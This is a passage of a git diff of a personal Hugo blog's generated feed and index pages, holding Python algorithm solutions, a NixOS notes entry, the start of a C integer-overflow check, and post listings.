&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; merged, count_both &lt;span style="color:#f92672"&gt;=&lt;/span&gt; merge_inversion(left, right)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; (merged, count_left &lt;span style="color:#f92672"&gt;+&lt;/span&gt; count_right &lt;span style="color:#f92672"&gt;+&lt;/span&gt; count_both)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;countIntersection&lt;/span&gt;(a, b):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; tuples &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sorted(zip(a, b))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; b &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [t[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; t &lt;span style="color:#f92672"&gt;in&lt;/span&gt; tuples]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; sort_and_count(b)[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="grpa-3"&gt;GRPA 3&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;dist &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; a, b: ((a[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]&lt;span style="color:#f92672"&gt;-&lt;/span&gt;b[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;])&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; &lt;span style="color:#f92672"&gt;+&lt;/span&gt; (a[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;]&lt;span style="color:#f92672"&gt;-&lt;/span&gt;b[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;])&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)&lt;span style="color:#f92672"&gt;**&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;.5&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;closest_pair&lt;/span&gt;(Px, Py):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; n &lt;span style="color:#f92672"&gt;=&lt;/span&gt; len(Px)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; n &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;3&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; min_d &lt;span style="color:#f92672"&gt;=&lt;/span&gt; float(&lt;span style="color:#e6db74"&gt;&amp;#39;inf&amp;#39;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(n):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; j &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(i &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, n):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; min_d &lt;span style="color:#f92672"&gt;=&lt;/span&gt; min(min_d, dist(Px[i], Px[j]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; min_d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mid &lt;span style="color:#f92672"&gt;=&lt;/span&gt; n &lt;span style="color:#f92672"&gt;//&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Qx &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Px[:mid]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Rx &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Px[mid:]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; mid_point &lt;span style="color:#f92672"&gt;=&lt;/span&gt; Qx[&lt;span style="color:#f92672"&gt;-&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;][&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Qy &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Ry &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; p &lt;span style="color:#f92672"&gt;in&lt;/span&gt; Py:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; p[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;] &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; mid_point:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Qy&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(p)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;else&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Ry&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(p)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; min_d &lt;span style="color:#f92672"&gt;=&lt;/span&gt; min(closest_pair(Qx, Qy), closest_pair(Rx, Ry))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Sy &lt;span style="color:#f92672"&gt;=&lt;/span&gt; [p &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; p &lt;span style="color:#f92672"&gt;in&lt;/span&gt; Py &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; mid_point &lt;span style="color:#f92672"&gt;-&lt;/span&gt; min_d &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; p[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;] &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; mid_point &lt;span style="color:#f92672"&gt;+&lt;/span&gt; min_d]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(len(Sy)):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; j &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(i &lt;span style="color:#f92672"&gt;+&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;, len(Sy)):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; Sy[j][&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;-&lt;/span&gt; Sy[i][&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;] &lt;span style="color:#f92672"&gt;&amp;gt;=&lt;/span&gt; min_d:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; min_d &lt;span style="color:#f92672"&gt;=&lt;/span&gt; min(min_d, dist(Sy[i], Sy[j]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; min_d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;minDistance&lt;/span&gt;(points):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Px &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sorted(points, key&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; p: p[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; Py &lt;span style="color:#f92672"&gt;=&lt;/span&gt; sorted(points, key&lt;span style="color:#f92672"&gt;=&lt;/span&gt;&lt;span style="color:#66d9ef"&gt;lambda&lt;/span&gt; p: p[&lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;])
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; round(closest_pair(Px, Py), &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="grpa-4"&gt;GRPA 4&lt;/h2&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-python" data-lang="python"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;mid&lt;/span&gt;(a):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; len(a) &lt;span style="color:#f92672"&gt;&amp;lt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; sorted(a)[len(a)&lt;span style="color:#f92672"&gt;//&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;2&lt;/span&gt;]
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; m &lt;span style="color:#f92672"&gt;=&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; i &lt;span style="color:#f92672"&gt;in&lt;/span&gt; range(&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;,len(a), &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; m&lt;span style="color:#f92672"&gt;.&lt;/span&gt;append(mid(a[i:i&lt;span style="color:#f92672"&gt;+&lt;/span&gt;&lt;span style="color:#ae81ff"&gt;7&lt;/span&gt;]))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; mid(m)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;def&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;MoM7Pos&lt;/span&gt;(arr):
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; m &lt;span style="color:#f92672"&gt;=&lt;/span&gt; mid(arr)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pos &lt;span style="color:#f92672"&gt;=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; x &lt;span style="color:#f92672"&gt;in&lt;/span&gt; arr:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; x &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; m:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; pos &lt;span style="color:#f92672"&gt;+=&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; pos
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;</description></item><item><title>NixOS Notes to Self</title><link>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</link><pubDate>Sun, 14 Sep 2025 18:31:52 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</guid><description>&lt;p&gt;A dedicated post collecting solutions to minor NixOS headaches.&lt;/p&gt;
Use the collapse explanation button to copy multiple code blocks in one go.&lt;/p&gt;</description></item><item><title>NixOS Notes to Self</title><link>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</link><pubDate>Sun, 14 Sep 2025 18:31:52 +0530</pubDate><guid>https://lavafroth.is-a.dev/post/nixos-notes-to-self/</guid><description>&lt;p&gt;A dedicated post collecting solutions to minor NixOS headaches.&lt;/p&gt;
&lt;h2 id="nixos-rebuild-shows-no-network-activity"&gt;&lt;code&gt;nixos-rebuild&lt;/code&gt; shows no network activity&lt;/h2&gt;
&lt;p&gt;On rare occasions, a system rebuild will get stuck while downloading a package from a source.
No network activity, no timeout, no writes to the nix store.&lt;/p&gt;
@@ -896,7 +663,7 @@ easy to setup Arch for gaming, thanks to programs like &lt;a href="https://lutri
code for the program running on the remote server:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;#include&lt;/span&gt; &lt;span style="color:#75715e"&gt;&amp;lt;stdlib.h&amp;gt;&lt;/span&gt;&lt;span style="color:#75715e"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#75715e"&gt;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;static&lt;/span&gt; &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; &lt;span style="color:#a6e22e"&gt;addIntOvf&lt;/span&gt;(&lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; result, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; a, &lt;span style="color:#66d9ef"&gt;int&lt;/span&gt; b) {
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; result &lt;span style="color:#f92672"&gt;=&lt;/span&gt; a &lt;span style="color:#f92672"&gt;+&lt;/span&gt; b;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt;(a &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; b &lt;span style="color:#f92672"&gt;&amp;gt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; &lt;span style="color:#f92672"&gt;&amp;amp;&amp;amp;&lt;/span&gt; result &lt;span style="color:#f92672"&gt;&amp;lt;&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;)

File diff suppressed because one or more lines are too long

View File

@@ -1,4 +1,10 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.154.0"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 1935V465h216v1270h286v2e2zm853 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm1025 528L2014 465h210l108 868 8 142h12l8-142 108-868h210l-224 1470zm813 0 222-1470h264l222 1470h-210l-40-3e2h-208l-40 3e2zm280-528h148l-62-494-6-78h-12l-6 78zm851 528V465h514v222h-298v386h2e2v222h-2e2v640zm910 0V465h216q194 0 286 108 92 107 92 316 0 124-43 215-44 90-106 132l147 699h-216l-122-620h-38v620zm216-820q60 0 95-26 35-27 50-76t15-116q0-105-34-161-35-57-126-57zm1084 836q-90 0-154-42-65-42-99-114-35-72-35-162V767q0-91 35-162 34-72 99-114 64-42 154-42t155 42q64 42 99 114 34 72 34 162v866q0 90-34 162-35 72-99 114-65 42-155 42zm0-210q40 0 56-33 16-34 16-75V767q0-41-17-74-17-34-55-34-37 0-54 34-18 33-18 74v866q0 41 17 75 17 33 55 33zm890 194V687h-204V465h624v222h-204v1248zm828 0V465h216v608h168V465h216v1470h-216v-640h-168v640z"/></svg></a><nav><a style=--url:url(./github.svg) href=https://github.com/lavafroth aria-label=github target=_blank></a><a href=../../about/ aria-label=about style=--url:url(./about.svg)></a><a href=../../art/ aria-label=art style=--url:url(./art.svg)></a><a href=../../index.xml aria-label=rss style=--url:url(./rss.svg)></a><nav></header><main><link href=../../pagefind/pagefind-ui.css rel=stylesheet><script src=../../pagefind/pagefind-ui.js type=text/javascript></script><search></search><section class=post-content></section><article><a aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/><h2>NixOS Secureboot Shenanigans</h2></a><time>Dec 20, 2024 | 3 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/nix class=list-tag>Nix</a>
<a href=https://lavafroth.is-a.dev/tags/nixos class=list-tag>NixOS</a>
<a href=https://lavafroth.is-a.dev/tags/secureboot class=list-tag>Secureboot</a>
<a href=https://lavafroth.is-a.dev/tags/sbctl class=list-tag>sbctl</a>
<a href=https://lavafroth.is-a.dev/tags/lanzaboote class=list-tag>lanzaboote</a>
<a href=https://lavafroth.is-a.dev/tags/troubleshooting class=list-tag>Troubleshooting</a>
<a class=post-link aria-label="NixOS Secureboot Shenanigans" href=https://lavafroth.is-a.dev/post/nixos-secureboot-shenanigans/></a></article><article><a aria-label="Wrapping up GSoC 2024" href=https://lavafroth.is-a.dev/post/the-gsoc-grand-finale/><h2>Wrapping up GSoC 2024</h2></a><time>Aug 24, 2024 | 6 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
@@ -53,11 +59,5 @@
<a href=https://lavafroth.is-a.dev/tags/linux class=list-tag>Linux</a>
<a href=https://lavafroth.is-a.dev/tags/laptops class=list-tag>Laptops</a>
<a href=https://lavafroth.is-a.dev/tags/kernel-modules class=list-tag>Kernel Modules</a>
<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><article><a aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/><h2>Modeling More Realistic Keybinds With Modifiers</h2></a><time>Jun 5, 2024 | 4 minutes read</time><br><a href=https://lavafroth.is-a.dev/tags/ebnf class=list-tag>EBNF</a>
<a href=https://lavafroth.is-a.dev/tags/google-summer-of-code class=list-tag>Google Summer of Code</a>
<a href=https://lavafroth.is-a.dev/tags/rust class=list-tag>Rust</a>
<a href=https://lavafroth.is-a.dev/tags/swhkd class=list-tag>SWHKD</a>
<a href=https://lavafroth.is-a.dev/tags/waycrate class=list-tag>Waycrate</a>
<a href=https://lavafroth.is-a.dev/tags/wayland class=list-tag>Wayland</a>
<a class=post-link aria-label="Modeling More Realistic Keybinds With Modifiers" href=https://lavafroth.is-a.dev/post/modeling-more-realistic-keybinds-with-modifiers/></a></article><nav data-main><a href=../../>Previous Page</a>
<a href=../../page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2025 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>
<a class=post-link aria-label="I Solemnly Swear to Never Buy a Gaming Laptop Again" href=https://lavafroth.is-a.dev/post/i-solemnly-swear-to-never-buy-a-gaming-laptop-again/></a></article><nav data-main><a href=../../>Previous Page</a>
<a href=../../page/3/>Next Page</a></nav><script>window.addEventListener("DOMContentLoaded",e=>{new PagefindUI({element:"search"})})</script></main><footer class=footer><p>&copy; 2026 <a href=https://lavafroth.is-a.dev/>lavafroth</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/issues/new/choose>Report an issue</a></p><p><a href=https://github.com/lavafroth/lavafroth.github.io/discussions/>Discuss</a></p><p><a href=https://lavafroth.is-a.dev/privacy>Privacy</a></p><p><a href=https://creativecommons.org/licenses/by-sa/4.0/legalcode>License</a></p></footer></body></html>

View File

@@ -1,4 +1,10 @@
<!doctype html><html lang=en-us><head><meta name=generator content="Hugo 0.152.2"><meta charset=utf-8><meta http-equiv=X-UA-Compatible content="IE=edge"><meta name=viewport content="width=device-width,initial-scale=1,shrink-to-fit=no"><title>lavafroth</title><meta name=description content='smol creator'><meta name=author content><link rel="preload stylesheet" as=style href=https://lavafroth.is-a.dev/app.min.css><link rel=preload as=image href=../../header.svg><link as=font href=https://lavafroth.is-a.dev/latinmodern-math.otf><link rel=preload as=image href=https://lavafroth.is-a.dev/github.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/about.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/art.svg><link rel=preload as=image href=https://lavafroth.is-a.dev/rss.svg><link rel=icon href=https://lavafroth.is-a.dev/favicon.png><link rel=blog-icon href=https://lavafroth.is-a.dev/icon.png><link rel=alternate type=application/rss+xml href=https://lavafroth.is-a.dev/index.xml title=lavafroth></head><body><header><a class=site-name href=https://lavafroth.is-a.dev/><svg viewBox="0 0 8790 2080"><path d="M80 